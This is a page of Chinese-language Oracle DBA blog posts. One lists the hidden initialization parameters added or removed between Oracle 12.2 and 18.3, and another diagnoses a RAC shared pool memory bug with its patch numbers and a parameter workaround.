123
 123

Tip: 看不到本站引用 Flickr 的图片? 下载 Firefox Access Flickr 插件 | AD: 订阅 DBA notes --

2018-08-01 Wed

19:20 Oracle 18.3 版本参数比较12.2 看新特性优化诊断增强 (33954 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

在 Oracle Database 18.3 版本发布之后,一系列新的参数被加入到数据库中,这些新的参数就代表了数据库中新增的特性。

很多特性Oracle并未明确解释何说明,但是我们可以通过参数揣摩端倪。
以下列表是对比 Oracle Database 12.2 版本,18.3 中新增的参数。通过 x$ksppi 可以看到 12.2 版本有 4846 个参数,而 18.3 有 5159 个参数.
从参数数量上来说,增加了 313 个,这是一个不小的数字,无论是跟踪诊断,性能优化,还是 异常恢复,这些参数都是核心所在。

KSPPINM 					   KSPPSTVL		     KSPPDESC
-------------------------------------------------- ------------------------- --------------------------------------------------------------------------------
_EnableDDLTtriggerTracing			   FALSE		     enable ddl trigger tracing
_EnableShadowTypes				   FALSE		     enable shadow types
_REMOVE_INACTIVE_STANDBY_TDE_MASTER_KEY 	   FALSE		     Remove Inactive Standby TDE Master Key
_REMOVE_STDBY_OLD_KEY_AFTER_CHECKPOINT_SCN	   TRUE 		     Remove standby old key after checkpoint SCN
_STFTranslateDynamicSQL 			   FALSE		     if TRUE translation profile will translate dynamic SQL statements
__memoptimize_xmem_pool_size_metadata		   0			     Size of extended cache metadata of MEMOPTIMIZE buffer pool for standard block si
									     ze buffers

__sga_current_size				   0			     Current size for PDB SGA
_adg_auto_close_pdb				   TRUE 		     ADG recovery auto close PDB upon PDB drop/unplug/rename marker
_adg_objectlock_attempts			   2			     Maximum attemps for objectlock get on ADG
_adg_objectlock_maxnum				   1000 		     The maximum limit of the objectlock number on ADG
_adg_objectlock_timeout 			   0			     timeout for objectlock get on ADG in centiseconds
_adg_redirect_flags				   0			     Flags for controlling ADG's Statement Redirection behavior
_allocate_flashback_buffer			   FALSE		     Allocate flashback buffer at mount time even if flashback is off
_allow_cross_endian_dictionary			   FALSE		     Allow cross-endian data dictionary
_app_container_debug				   0			     Enable Debug tracing in Application container
_apppdb_multi_slave_sync			   TRUE 		     Multiple slaves used during Application sync
_aq_dqblocks_in_cache				   0			     deq blocks in cache
_aq_free_list_pools				   10			     state object and transaction memory pools
_aq_lb_garbage_col_interval			   600			     AQ LB garbage collect interval
_aq_lb_subht_bkt_ltch				   32			     AQ LB subscriber ht bucket latches
_aq_lb_subht_elm_ltch				   128			     AQ LB subscriber ht element latches
_aq_max_pdb_close_msg				   1			     Max Number of AQ Recovery Messages when pdb is closed
_aq_scrambled_deqlog				   1			     scrambled deqlog
_asm_allow_dgname_special_chars 		   FALSE		     Enable the use of special characters in diskgroup names
_asm_async_scrub_reap_wait			   100000		     Async scrubbing reaping IO wait in microseconds
_asm_cancel_delta				   75000		     Delta timeout for blocking big writes in milliseconds
_asm_enable_batch_scrub 			   FALSE		     Allow scrubbing verification to run in batch mode
_asm_enable_kfios				   FALSE		     Enable KFIOS module
_asm_oda_type								     ODA Type
_asm_proxy_online_restart			   0			     Allow patching while ADVM volumes are online
_asm_pstonpartners				   TRUE 		     Select ideal PST disks following partnership
_asm_reloc_cic					   FALSE		     Allow relocation during rolling migration
_asm_relocation_scheme				   alloc_p2 alloc_s3 reb_p2  ASM allocation / relocation scheme
						   reb_s1 bal_p2 bal_s3 prep
						   _p2 prep_s3

_asm_write_badfdata_in_contentcheck		   TRUE 		     Write BADFDA7A in content check
_asm_zero_power_limit							     allow setting zero power limit
_async_scn_sync 				   OFF			     Asynchronous SCN Sync Setting
_auto_dismount_on_pdb_close			   FALSE		     Enable implicit PDB dismount on PDB close
_auto_rcv_pdb_open				   1			     enable automatic recovery during pdb open
_awr_incremental_flush_enabled			   TRUE 		     Enable/Disable AWR automatic incremental flushing
_backup_block0					   default		     backup block0
_bequeath_via_broker				   FALSE		     Bequeath connections via broker
_bloom_extent_size				   0			     bloom filter extent size in bytes
_bloom_filter_setops_enabled			   TRUE 		     Allow bloom filter to be pushed through set operations
_bloom_max_wait_time				   50			     bloom filter wait time upper bound (in ms)
_bloom_pruning_setops_enabled			   TRUE 		     Allow bloom pruning to be pushed through set operations
_bloom_use_shared_pool				   FALSE		     use shared pool for bloom filter
_bloom_wait_on_rac				   FALSE		     enables bloom filter (with hash hash distribution) wait on RAC
_capability_simulate							     Simulate the capabilities for testing
_cdb_fleet_sync_timeout 			   10			     Time in minutes to wait for sync of stub entry in CDB Fleet
_cdb_port					   0			     Port number for CDB
_cdb_view_no_skip_restricted			   FALSE		     do not skip RESTRICTED mode PDBs from results of CONTAINERS()
_cell_offload_hybrid_processing 		   TRUE 		     enable hybrid SQL processing offload to cells
_cell_offload_vector_groupby_force		   FALSE		     force offload of vector group by
_cgs_publish_netinfo_collect_event_chm		   TRUE 		     enable cgs publish collect_netinfo event to event stream for CHM
_cgs_publish_netinfo_collect_event_haip 	   FALSE		     enable cgs publish collect_netinfo event to event stream for HAIP
_clear_preserved_buffers			   TRUE 		     Clear preserved buffers before DB reopen after switchover
_client_result_cache_ramthreshold					     client_result_cache_ramthreshold
_cloud_service_sim				   0			     simulate cloud services in Database
_cloud_service_type							     cloud service type
_con_map_sql_enforcement			   TRUE 		     disable container map SQL enforcement
_connection_broker_handout_accept		   FALSE		     connection broker accepts prior to handout
_cross_con_collection				   FALSE		     enable cross container collection
_datapump_gather_stats_on_load			   FALSE		     Gather table statistics during Data Pump load rather thanimporting statistics fr
									     om the dump file. This should be set to TRUE in the lockdown profile in a DWCS e
									     nvironment.

_datapump_inherit_svcname			   FALSE		     Inherit and propagate service name throughout job
_db_flash_cache_slow_io_adjustment_interval	   3600 		     Decrement interval
_db_imoltp_hashidx_force_nonctg 		   0			     kcbw imoltp hash index force non contig granules
_db_shadow_lost_write_protect			   NOT_SET		     alter shadow lost write detection for PDB
_disable_actualization_for_grant		   FALSE		     disable actualization of editioned objects on grant
_disable_asm_audit_feat 			   0			     disable ASM audit features
_disable_dblink_optim				   TRUE 		     disable intra CDB dblink optimizations
_disable_system_tablespaces_enc_enforcement	   FALSE		     if TRUE, disable system tablespaces encryption enforcement
_dmm_pga_load_threshold 			   3			     Model size less than threshold are loaded into PGA
_drain_on_ping_database 			   TRUE 		     Should session drain be performed when user issues OPING
_dskm_single_instance				   FALSE		     DSKM and Diskmon operating in Single Instance mode
_dss_cache_flush_threshold			   1			     threshold when thread ckpt considered over obj ckpt
_duplicated_table_complete_refresh_percent	   50			     percent threshold for duplicated table to do complete refresh
_dupt_noupdate					   0			     disable duplicated table updates
_ena_storage_lmt				   DEFAULT		     Enable storage clause for LMT
_enable_auto_upgrade				   FALSE		     Enable automatic PDB upgrade
_enable_dbwr_auto_tracing			   0			     enable dbwriter auto-tracing
_enable_imc_mira				   FALSE		     enable IMC with  multi instance redo apply
_enable_ios_spm 				   FALSE		     Allow Split Mirror operations via IOServer
_enable_multiple_fgprepares			   FALSE		     Allow concurrent PREPAREs on the same database
_enable_parallel_dml				   FALSE		     enables or disables parallel dml
_enable_pmo_outside_begin_end			   TRUE 		     Enable PMO outside begin-end block
_enable_proxy_adg_redirect			   FALSE		     Enable Statement Redirection Support for ADG using Proxy PDB
_enable_single_dgprepare			   FALSE		     Disable concurrent PREPAREs in same disk group
_error_row_predicate_evaluation 		   AUTO 		     skip predicate evaluation for error rows
_exadata_feature_on				   FALSE		     Exadata Feature On
_fg_fast_sync_sleep_usecs			   50			     DAX log file sync sleep time
_fg_fast_sync_spin_usecs			   300			     DAX log file sync spins time
_force_active_temp_detection			   FALSE		     Force active temp detection during PDB close
_freeze_kgh_timestamp				   FALSE		     prevent heap manager timestamp from advancing
_gc_lease_time					   500			     lease time for rdma reads
_gc_max_reg_sz					   68719476736		     maximum length for memory registration
_gc_partial_cleanout				   FALSE		     if TRUE, partial cleanout is enabled
_gc_undo_rdma_read				   FALSE		     if TRUE, rdma read of undo blocks is enabled
_gcs_disable_imc_preallocation			   FALSE		     disable preallocation for imc memory requirement in RAC
_gcs_enable_private_iterator			   TRUE 		     Enable private iterator for GCS locks
_gcs_recoverable_asserts			   1			     if non-zero, enable recoverable assert resolution
_gdr_control_flags				   0			     gdr control flags
_gds_allow_nullkey				   0			     allow the use of nullable shard key columns
_gds_max_chunk_num				   0			     max chunk_num used in sharding environment
_ges_mseq_demo					   0			     demo mseq wrap scenarios (dflt is 0)
_globaldict_analyzer_pct			   100			     Maximum percentage of unique values in analyzer phase for GD
_globaldict_chain_limit 			   32			     Chain limit for global dictionary
_globaldict_check				   0			     Dictionary checking
_globaldict_chunk_minalloc			   FALSE		     Force minimum chunk allocation size
_globaldict_dbg 				   0			     Global dictionary debug modes
_globaldict_enable				   2			     Enable segment dictionary
_globaldict_max_gdsize				   1073741824		     Maximum number of entries in a Global dictionary
_globaldict_reprobe_limit			   1			     Reprobe limit for global dictionary
_globaldict_use_ndv				   TRUE 		     Use NDV for sizing global dictionary, if available
_gwm_db_unique_name							     gsm db_unique_name name
_hang_appl_issue_session_threshold		   0			     Hang Management application issue session threshold
_hang_asm_hang_resolution_enabled		   FALSE		     Hang Management ASM hang resolution enabled
_hang_deadlock_resolution_enabled		   TRUE 		     Hang Management deadlock resolution enabled
_hang_hang_blocked_session_delta_percent_threshold 20			     Hang Manager hang's blocked session delta percent threshold
_hang_ignore_hngmtrc_interval			   150			     Hang Management ignore hang metric dependent hang interval
_hang_intersecting_chains_scanning_enabled	   TRUE 		     Hang Management intersecting chains scanning is allowed
_hang_log_important_hangs_to_alert		   TRUE 		     Hang Management log important hangs to alert log
_hang_promote_process_termination_interval	   70			     Hang Management promote process termination interval in seconds
_hang_root_ha_phase_trigger_time		   300			     Hang Management root HA phase trigger time
_hcs_expose_with_expr				   FALSE		     expose internal with_expression
_hcs_gen_aggr_opt_estimate			   FALSE		     apply OPT_ESTIMATE hint to aggregation queries
_hcs_ignore_latest_compat_check 		   FALSE		     skip compatibility check for latest compatible version
_hcs_in_mem_cdt_hint				   FALSE		     add hint opt_param('_in_memory_cdt', 'off')
_hcs_mdx_cache_name_col 			   FALSE		     add column for mdx cache name
_hcs_mdx_cache_name_no_sid			   FALSE		     don't use session id in mdx cache hint names
_hcs_mdx_sleep_after_pin			   FALSE		     sleep after pinning MDX caches
_hcs_no_calc_dtm_to_out_opt			   FALSE		     apply move calc determined hier to output hier optimization
_hcs_no_cell_qry_atr_prune_opt			   FALSE		     apply attribute prune optimization to cell query
_hcs_no_cell_qry_lvl_prune_opt			   FALSE		     apply level prune optimization to cell query
_hcs_no_cell_qry_meas_prune_opt 		   FALSE		     apply measure prune optimization to cell query
_hcs_no_cell_qry_mv_cache_opt			   FALSE		     apply mv cache optimization to cell query
_hcs_no_cell_qry_no_calc_nav_opt		   FALSE		     apply no calc navigation optimization to cell query
_hcs_no_cell_qry_no_out_data_opt		   FALSE		     apply no output data optimization to cell query
_hcs_no_cell_qry_tmpls				   FALSE		     no cell query templates for optimization
_hcs_no_col_prune_optz				   FALSE		     skip column pruning optimization on generated SQL
_hcs_no_fltr_fact_opt				   FALSE		     apply filtered fact optimization
_hcs_no_fltr_hier_star_opt			   FALSE		     apply filtered hierarchy star optimization
_hcs_no_inline_tmpl_opt 			   FALSE		     apply inline single ref top blocks optimization to cell query
_hcs_no_jback_opt_for_hord_in_oby		   FALSE		     optimize analytic view joinback for HIER_ORDER
_hcs_no_mdx_cache_hint				   FALSE		     generate hcs query mdx cache hints
_hcs_no_mv_rewrite_check			   FALSE		     skip MV rewrite check when generating for ANALYTIC VIEW cache
_hcs_no_opt_cell_qry				   FALSE		     optimize cell query
_hcs_no_rm_like_withs_optz			   FALSE		     skip like WITH element removal optimization on generated SQL
_hcs_no_rm_unused_withs_optz			   FALSE		     skip unused WITH element removal optimization on generated SQL
_hcs_no_rmv_unref_top_opt			   FALSE		     apply remove unref top blocks optimization to cell query
_hcs_no_tgt_depths_opt				   FALSE		     apply target depths optimization
_hcs_opt_av_pred_push				   TRUE 		     enable optimizer AV predicate pushing via reparse
_hcs_parse_dynamic_all_cache			   FALSE		     allow parsing of dynamic across all levels cache
_hcs_stats_max_card				   2000000		     maximum value for stats cardinality
_hcs_use_dynamic_all_cache			   FALSE		     use dynamic across all levels cache
_hcs_use_multi_parent_gen			   FALSE		     generate hcs query using multi-parent aggregation
_hugetlbfs_mount_point_for_sga						     HugeTLBFS mount point to be used
_imado_diagtasks_log_period			   5			     IM-ADO diagnostic tasks logging period (in seconds)
_imado_diagtasks_purge_period			   30			     IM diagnostic tasks purge older than X days
_imado_evict_sf 				   2			     AIM evict safety factor
_imado_sysaux_usage_limit			   90			     SYSAUX usage percent limit for storing AIM diagnostics
_imtxnrma_table_enable				   FALSE		     is In-Memory RMA Txn Table cache enabled
_index_load_analysis_frequency			   4			     index load compression analysis frequency
_inmemory_adg_batched_flush			   TRUE 		     If true, batched flush is performed
_inmemory_adg_journal_quota			   FALSE		     If true, throttled mining is performed under space pressure
_inmemory_adg_parallel_flush			   TRUE 		     If true, parallel flush is performed
_inmemory_adg_periodic_sort			   FALSE		     If true, periodic sort is performed
_inmemory_delta_population			   0			     Control Delta IMCU population
_inmemory_dynamic_scans_analyze_batch_size	   5			     Inmemory dynamic scan analyze batch size
_inmemory_external_table			   TRUE 		     Enable inmemory extern table
_inmemory_grpcolinv_buffer_size 		   131072		     In-memory grpcolinv buffer size
_inmemory_grpcolinv_granularity 		   1			     In-memory grpcolinv blks per colmap
_inmemory_hwm_expand_percent			   20			     max blks percent can exceed in hwmimcu
_inmemory_hwm_expansion 			   0			     If 0, the highwatermark CU is dropped when expanded
_inmemory_max_delta				   5			     Inmemory max number of deltas per CU
_inmemory_min_delta_blocks			   50			     Inmemory minimum blocks per delta
_inmemory_min_delta_rows			   255			     Inmemory minimum rows per delta
_inmemory_patch_background_blocks		   200			     In-memory SMU patch threshold blocks to start background tasks
_inmemory_patch_commit_path			   FALSE		     If true, enable the SMU patching from DML path
_inmemory_patch_threshold_blocks		   25			     In-memory SMU patch threshold blocks
_inmemory_prefix_encode_dsbs			   FALSE		     Prefix-encode the DSB-dictionary
_inmemory_scan_invalid_percent			   30			     Inmemory scan invalid percentage
_inmemory_smu_patch_options			   7			     Inmemory SMU patching options
_inmemory_vector_encode_override		   FALSE		     Populate and use DSBs for Vector Encode columns
_instance_recovery_bloom_filter_fprate		   0			     Allowable false positive percentage [0-100]
_instance_recovery_bloom_filter_size		   83886080		     Bloom filter size (in num of bits) used during claim phase
_intra_cdb_dblink				   FALSE		     enable intra CDB implicit dblink
_kcfis_pmem_enabled				   FALSE		     RDMA Persistent Memory support enabled
_kdfip_buf_nclatch				   64			     memopt w buffer child latches
_kdfip_bufl_nbkt				   64			     memopt w buffers list buckets
_kdfip_cmap_nbkt				   16			     memopt w chunk map buckets
_kdfip_debug					   0			     memopt w debug
_kdfip_drain_sleeps				   60			     memopt w drain coord sleep count
_kdfip_elem_nclatch				   64			     memopt w chunkmap elem child latches
_kdfip_flush_nrows				   10			     memopt w flush num rows
_kdfip_flush_rowsz				   1024 		     memopt w flush row size
_kdfip_flush_rowtm				   60			     memopt w flush time
_kdfip_iga_bufsz				   65536		     memopt w write buffer size
_kdfip_iga_maxsz				   52428800		     memopt w max global area size
_kdfip_par_flush				   TRUE 		     memopt w parallel flush
_kdfip_trace					   FALSE		     memopt w tracing on-off
_kdkv_fg_drop_memopt				   TRUE 		     hashindex foreground drop
_kdkv_fg_no_memopt				   FALSE		     hashindex foreground cleanup
_kdkv_fg_populate				   FALSE		     hashindex foreground populate
_kdkv_fg_repopulate				   FALSE		     hashindex foreground repopulate
_kdkv_force_fastpath				   FALSE		     kdkv fast path on-off
_kdkv_index_lossy				   TRUE 		     hashindex lossiness on-off
_kdkv_index_relocate				   FALSE		     hashindex relocation on-off
_kdkv_indexinvalid				   FALSE		     objd and rdba based index invalidation
_kdkv_trace					   FALSE		     kdkv tracing on-off
_kdlxp_no_dedup_on_insert			   FALSE		     disable deduplication for new inserts of deduplicated lobs
_key_vector_double_enabled			   TRUE 		     enables or disables key vector support for binary_double
_key_vector_shared_dgk_ht			   TRUE 		     allows shared DGK hash table
_key_vector_timestamp_enabled			   TRUE 		     enables or disables key vector support for timestamp
_kra_cfile_compaction				   TRUE 		     controlfile record compation
_kse_alt_stack_sig_syms 			   10			     The number of top symbols used for the alternate stack signature
_ksipc_trace_bucket				   PRIVATE		     memory tracing: use ksipc-private or rdbms-shared bucket
_ksipc_trace_bucket_size			   IPC0:1048576-REST:8192    KSIPC trace bucket size in bytes (format: "IPC0:-REST:")
_ksipc_window_size							     Configure IPC Windowing Value for clients on a per transport basis
_ksipcsnsrv								     Configure Shared Nothing Server Name
_ksm_sp_rcr_hits				   10			     hits to make object recurrent
_ksmd_trace					   0			     ksmd tracing
_ksmsq_hintmaxinst				   1024 		     KSMSQ Hint Max Instances
_ksmsq_hintmaxproc				   300			     KSMSQ Hint Max Processes
_ksws_java_patching				   0			     java patching mode
_kswsas_drain_kill_batch_size			   5			     Batch size for killing non-drained sessions
_kswsas_num_jp_slaves							     Number of slaves for java patching
_ksxp_validate_cnh_life_cycle			   0			     enable validation of ksxp connection life cycle
_ktst_tscleanup_timeout 			   1800 		     Time in seconds to wait for active temp clients
_ldap_config_force_sync_up			   FALSE		     LDAP configure force sync up
_ldap_config_ssl_for_sasl_md5			   TRUE 		     LDAP configure SSL for SASL-DIGEST-MD5
_ldap_reset_user_account_flc			   TRUE 		     LDAP reset user account lockout counter
_lm_chk_inv_domenq_ops				   TRUE 		     enable checks for invalid enqueue operations on domains
_lm_comm_slow_op_loop_threshold 		   15			     GES communication slow operation loop threshold in ms
_lm_enq_iso_enabled				   TRUE 		     if TRUE enables enqueue isolation
_lm_idle_connection_action			   kill 		     GES idle connection action
_lm_idle_connection_load_check			   TRUE 		     GES idle connection load check
_lm_nonisolated_restype 			   TOTTUL		     string of resource types banned from enqueue isolation
_lm_pdb_wait_all_gone				   FALSE		     pdb domain attach wait until all locks are gone
_lm_recovery_set				   1			     enable recovery set checking for accessing invalid domains
_lm_share_lock_pdbisolation			   TRUE 		     if TRUE enables share lock optimization with pdb isolation
_lm_use_us_timer				   FALSE		     Use microsecond timer for LM hist
_lm_wait_for_hub_rcv_timeout			   300000		     read-only insts wait for hub avaliable to recover in millis
_lmhb_procstate_dump_cputime_limit		   60			     hb diagnostic cputime limit for process state dump in secs
_lmhb_procstate_dump_runtime_limit		   60			     hb diagnostic runtime limit for process state dump in secs
_lob_use_locator_varying_width			   FALSE		     use varying width flag in lob locator
_max_lwt_cpu_ratio				   2			     ratio to determine the maximum CPUs for LWTs
_memoptimize_xmem_pool_size			   0			     Size of MEMOPTIMIZE buffer pool for standard block size buffers on extended memo
									     ry

_memory_adi_module_mask 			   0			     bit mask of modules to enable ADI versioning
_mga_large_page_path							     large page path
_next_pdbid					   3			     Hint for the next PDBID to use when creating a new PDB entry
_no_catalog								     options whose schemas should not be created
_no_snapshot_root_clone 			   FALSE		     No snapshot clone during Application Root Clone creation
_nologging_apply_stall_time			   1000 		     milli-seconds recovery waits after DTC full before changing RCVID
_nologging_fetch_initial_interval		   2			     seconds recovery waits between issuing fetches for old ranges
_nologging_mode_override			   0			     Override the database logging mode; 1=Force, 2=NoForce, 3=LP, 4=DA
_nologging_progress_keep_alive			   10			     Nologging standby progress keep alive time
_nologging_slots				   20			     Nologging standby: initial buffer count
_nologging_standby_cold_buffer_timeout		   500			     Centi-seconds recovery will wait for a buffer that is not being sent by a direct
									      load client in Nologging Standby Data Availability mode

_nologging_standby_dtc_expire			   600			     The number of seconds a Data Transfer Cache buffer may remain unclaimed
_nologging_standby_fetch_disable		   FALSE		     controls whether invalid block ranges are fecthed during recovery
_nologging_standby_hot_buffer_timeout		   500			     Centi-seconds recovery will wait for a buffer being sent by a direct load client
									      in Nologging Standby Data Availabilty mode

_nologging_standby_refetch_disable		   FALSE		     controls fetching of pre-existing invalid block ranges during standby recovery
_optimizer_allow_all_access_paths		   TRUE 		     allow all access paths
_optimizer_answering_query_using_stats		   FALSE		     enable statistics-based query transformation
_optimizer_gather_stats_on_load_all		   FALSE		     enable/disable online statistics gathering for nonempty segments
_optimizer_gather_stats_on_load_hist		   FALSE		     enable/disable online histogram gathering for loads
_optimizer_key_vector_payload			   TRUE 		     enables or disables dimension payloads in vector transform
_optimizer_vector_fact_payload_ratio		   20			     cost based vector transform payload dimension to fact ratio
_parallel_lmd_reconfig				   1			     parallel lmd work in reconfiguration for enqueues.
_partition_by_con_name				   FALSE		     enable partitioning by con$name
_pdb_ignore_table_clauses			   TRUE 		     Ignore subset of clauses in CREATE TABLE and ALTER TABLE
_pdb_isolation_class				   NONE 		     PDB isolation level: NONE, HIGH or MAX
_pdb_ldp_cascade				   0			     pluggable database lockdown profile cascade param
_pga_limit_per_process_minimum			   3145728		     pga_aggregate_limit per-process minimum
_pmon_exitnfy_enabled				   FALSE		     PMON Exit notification enabled
_ptf_enable_objects				   FALSE		     enable object types in PTF
_ptf_max_rows					   1024 		     number of rows per row-buffer
_ptt_max_num					   16			     Maximum number of PTTs per session
_px_granule_alignment				   1024 		     default size of a rowid range granule (in KB)
_px_join_skew_null_handling			   TRUE 		     enables null skew handling improvement for parallel outer joins
_px_join_skew_sampling_percent			   0			     Sets sampling percentage for skew handling sampling queries
_px_join_skew_sampling_time_limit		   50			     Sets execution time limit for skew handling sampling queries
_px_join_skew_use_histogram			   TRUE 		     Enables retrieval of skewed values from histogram when possible
_px_nlj_bcast_rr_threshold			   10			     threshold to use broadcast left random right distribution for NLJ
_px_partition_skew_threshold			   80			     percentage of table size considered as threshold for skew determination
_px_pwise_wif_enabled				   TRUE 		     enable parallel partition wise window function
_px_reuse_server_groups 			   MULTI		     enable/disable reusing of server groups that are already acquired
_px_shared_hash_join				   FALSE		     enable/disable shared hash join
_px_tq_memcpy_threshold 			   100			     threshold for PQ TQ to use memcpy for packing columns
_qksfgi_dynamic_partitions						     enable partition bind SQLIDs for
_qksfgi_feature_level				   0			     controls the feature level for fine-grained cursor invalidation
_rac_propagate_last_rba 			   TRUE 		     Propagate last written log redo address in RAC for log mining
_read_only_slave_timeout			   30			     Time to wait on read only node when hub not available
_read_optimized_table_lookup			   TRUE 		     enables read-optimized table lookup
_reader_farm_isolation_enable			   FALSE		     Reader Farm instances isolation enable
_reader_farm_isolation_time_threshold		   200			     reader farm isolation time threshold
_record_module_name				   TRUE 		     Record module name in BEGIN action
_redo_log_key_reuse_count			   0			     Determines the number of redo logs sharing the same redo log key
_redo_write_sync_single_io			   TRUE 		     enable sync I/O for single redo write
_ref_cons_sql_enforcement			   TRUE 		     disable extended/data ref constraint SQL enforcement
_reg_cache_status				   FALSE		     Enables or disabled caching
_remessage_dbwrs				   0			     DBWR wait and remessage time - in cs
_request_boundaries				   1			     request boundaries mode
_restore_block0 				   on			     restore block0
_result_cache_per_pdb				   TRUE 		     Is service result cache per pdb
_rm_exadata_partition_fc			   FALSE		     Partition flash cache for Exadata
_rm_exadata_pdb_cpu_cnt_mult			   2			     Multiplication factor for PDB cpu count
_rmv_dynamic_priority				   TRUE 		     enable rmv priority modification
_root_clone_state_from_root			   TRUE 		     Application Root Clone's state comes from Application Root
_sequence_scale_extend				   FALSE		     Force sequence creation with scale extend
_sequence_scale_noextend			   FALSE		     Force sequence creation with scale noextend
_shd_atomic_move				   0			     Use atomic move
_show_login_pdb_sessions			   FALSE		     return logon pdb container id from v$session
_simulate_dax_storage				   DISABLE		     Simulate log on DAX storage
_skip_pdb_recovery_if_keystore_not_open 	   FALSE		     Skip PDB recovery when the PDB's keystore is not open
_skip_unconverted_change_vector 		   FALSE		     Skip apply of a CV that has no endian conversion function
_slow_kill_on_pdb_close_immediate		   FALSE		     Kill sessions periodically on pdb close immediate
_sqlexec_cache_aware_hash_aggr_enabled		   TRUE 		     enable/disable cache aware hash aggregation
_sqlexec_pwiseops_with_binds_enabled		   TRUE 		     enable partition wise execution in the presence of bind variables in inlist equa
									     lity operator in where clause

_sqlexec_pwiseops_with_sqlfuncs_enabled 	   TRUE 		     enables partition wise operations even in the presence of functions over table p
									     artition keys

_sqlexec_reorder_wif_enabled			   TRUE 		     enable re-ordering of window functions
_sqlexec_use_kgghash3				   TRUE 		     use CRC-based hash function
_standby_newkey_keystore_location					     Location of keystore on standby having new key
_uniq_cons_sql_enforcement			   TRUE 		     disable extended data unique constraint SQL enforcement
_use_fallocate_for_mga				   FALSE		     MGA fallocate enabled
_use_hugetlbfs_for_SGA				   FALSE		     Enable HugeTLBFS usage for SGA
_use_large_pages_for_mga			   FALSE		     MGA largepage enabled
_verify_encrypted_tablespace_keys		   TRUE 		     if TRUE, verify encryption key signature for data files
_wait_outlier_dump_flags			   0			     Wait Outlier Dump Flags
_wait_outlier_lambda_x1000			   1500 		     Lambda (in thousands) to compute outliers
_wait_outlier_min_waits 			   10			     Minimum waits required to enable wait outliers detection
_wait_outlier_num_outliers			   600			     Max number of outliers tracked
_xt_def_compression_ratio			   4			     Default compression ratio for external table data files
_xt_http_wscl					   FALSE		     Use KGWSCL for HTTP requests
_xt_legacy_debug_flags				   0			     Debug flags for ORACLE_LOADER and ORACLE_DATAPUMP
adg_account_info_tracking			   LOCAL		     ADG user account info tracked in standby(LOCAL) or in Primary(GLOBAL)
awr_pdb_max_parallel_slaves			   10			     maximum concurrent AWR PDB MMON slaves per instance
forward_listener							     forward listener
inmemory_automatic_level			   OFF			     Enable Automatic In-Memory management
inmemory_optimized_arithmetic			   DISABLE		     Controls whether or not DSBs are stored in-memory
inmemory_prefer_xmem_memcompress					     Prefer to store tables with given memcompress levels in xmem
inmemory_prefer_xmem_priority						     Prefer to store tables with given priority levels in xmem
inmemory_xmem_size				   0			     size in bytes of in-memory xmem area
memoptimize_pool_size				   0			     Size of cache for imoltp buffers
multishard_query_data_consistency		   strong		     consistency setting for multishard queries
multishard_query_partial_results		   not allowed		     enable partial results for multishard queries
optimizer_ignore_hints				   FALSE		     enables the embedded hints to be ignored
optimizer_ignore_parallel_hints 		   FALSE		     enables embedded parallel hints to be ignored
parallel_min_degree				   1			     controls the minimum DOP computed by Auto DOP
pdb_template								     PDB template
private_temp_table_prefix			   ORA$PTT_		     Private temporary table prefix
standby_pdb_source_file_dblink						     database link to standby source files
standby_pdb_source_file_directory					     standby source file directory location
tde_configuration							     Per-PDB configuration for Transparent Data Encryption
unified_audit_systemlog 						     Syslog facility and level for Unified Audit
wallet_root								     wallet root instance initialization parameter

356 rows selected.

废弃的参数,在12.2 中存在,可是在 18.3 中已经被驱逐的废弃参数,数量是 43 个,参考如下列表:

 
KSPPINM
--------------------------------------------------
_bloom_use_crchash
_cdbperf_sweep_enabled
_cdt_shared_memory_limit
_cdt_shared_memory_query_percent
_db_new_lost_write_protect
_dbwr_nowrite_tracing_interval
_dmm_blas_lib_enable
_enable_umf_auto_tasks_pool
_gc_cpu_time
_gws_chunk_ver
_hang_ignore_hngmtrc_count
_hcs_no_column_info
_imado_histogram_period
_imcdt_use_mga
_inmemory_ado_enabled
_inmemory_batched_flush
_inmemory_dynamic_scan_analyze_batch_size
_inmemory_periodic_sort
_inmemory_segment_populate_verify
_kcl_max_reg_sz
_key_vector_caching
_kqr_allocate_directly_from_sga
_kswsas_sim_jp_api
_log_event_queues
_optimizer_ignore_hints
_post_wait_queues_dynamic_queues
_px_reuse_server_group
_segdict_analyzer_pct
_segdict_chain_limit
_segdict_check
_segdict_chunk_minalloc
_segdict_enable
_segdict_enable_domaindict
_segdict_max_gdsize
_segdict_reprobe_limit
_segdict_use_ndv
_select_any_dictionary_security_enabled
_set_mgd_recovery_state
_wait_outlier_dlambda
_wait_outlier_plambda
_wait_outlier_report_minute_interval
standby_archive_dest
utl_file_dir

43 rows selected.

一点一滴,Oracle 数据库在发生大变化。

相关文章|Related Articles

16:58 Shared Pool 中 ges resource dynamic 和 ges enqueues 超高诊断 (4086 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

在『云和恩墨大讲堂』微信群中,有朋友提出这样一个问题:

在自动内存管理下,Shared Pool 超高怎么办?

超高是多高呢?我们看一下下面的截图,Buffer Cache 最后被调节为只有 64M,这是最小值了,而Shared Pool Size 竟然高达 23,552M,超乎想象:

CacheSizes.jpg

分析的思路很简单,看一看这些共享内存被谁使用了,在以下细节中,ges resource dynamic 和 ges enqueues 超高,分别占用了 6G、9G,这显然是不正常的:

SGABreakdown.jpg

这个数据库的版本是:12.1.0.2.0,MOS 上很容易就可以找到匹配的 BUG:

ORA-04031 Errors Occurring with High "ges resource dynamic" & "ges enqueues" Memory Usage In The Shared Pool (文档 ID 2063751.1)

ORA-04031 errors occurring in a RAC instance with the trace file showing high memory usage for "ges resource dynamic" and "ges enqueues" memory in the shared pool. This can cause LMD processes to become unresponsive leading to an instance termination.

CAUSE

This is due to unpublished bug:21373473 fixed in 12.2, and occurs due to DX and BB locks being cached but not cleared out. This fix removes the need to cache DX and BB locks and hence reduces overall shared pool memory usage in RAC instances.

ORA-04031 errors occurring with high memory utilization for "ges enqueues" & "ges resource dynamic" memory allocations.

SOLUTION

Download and apply the one-off patch number 21373473 for your platform and version combination.

Please note that if using 12.1.0.2, then you should also apply the related patch number 21260431 which also impacts the shared pool memory allocations identified here.

This issue can also be worked around by setting _GES_DIRECT_FREE_RES_TYPE="CTARAHDXBB" in the instances.

解决方案是打补丁:21373473 。客户是 12.1.0.2 版本,需要 21260431 补丁。

临时解决方案是设置初始化参数: _GES_DIRECT_FREE_RES_TYPE="CTARAHDXBB"

记录供参考。

相关文章|Related Articles

15:54 SMCO 进程:空间管理调度进程-Space Management Coordinator (6113 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

